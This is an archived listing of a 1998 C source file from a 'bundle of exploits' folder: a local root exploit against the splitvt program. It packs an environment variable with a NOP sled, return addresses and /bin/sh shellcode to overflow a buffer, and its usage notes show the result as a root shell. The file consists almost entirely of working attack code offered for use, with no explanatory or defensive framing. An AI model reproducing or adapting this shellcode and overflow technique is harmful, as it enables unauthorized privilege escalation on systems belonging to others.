home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / splitvt.c < prev    next >
C/C++ Source or Header  |  1998-07-17  |  842b  |  52 lines

  1. syntax:
  2.  
  3. %cc -o sl sl.c
  4. %sl
  5. bash#sl
  6. bash#splitvt
  7. #whoami
  8. root
  9. --------------------------------
  10. long get_esp(void)
  11. {
  12. __asm__("movl %esp,%eax\n");
  13. }
  14. main()
  15. {
  16.   char eggplant[2048];
  17.   int a;
  18.   char *egg;
  19.   long *egg2;
  20.   char realegg[] =
  21. "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
  22. "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
  23. "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
  24.   char *eggie = realegg;
  25.  
  26.   egg = eggplant;
  27.  
  28.   *(egg++) = 'H';
  29.   *(egg++) = 'O';
  30.   *(egg++) = 'M';
  31.   *(egg++) = 'E';
  32.   *(egg++) = '=';
  33.  
  34.   egg2 = (long *)egg;
  35.  
  36.   for (a=0;a<(256+8)/4;a++) *(egg2++) = get_esp() + 0x3d0 + 0x30;
  37.  
  38.   egg=(char *)egg2;
  39.  
  40.   for (a=0;a<0x40;a++) *(egg++) = 0x90;
  41.  
  42.   while (*eggie)
  43.     *(egg++) = *(eggie++);
  44.   *egg = 0; /* terminate eggplant! */
  45.  
  46.   putenv(eggplant);
  47.  
  48.   system("/bin/bash");
  49. }
  50.  
  51.  
  52.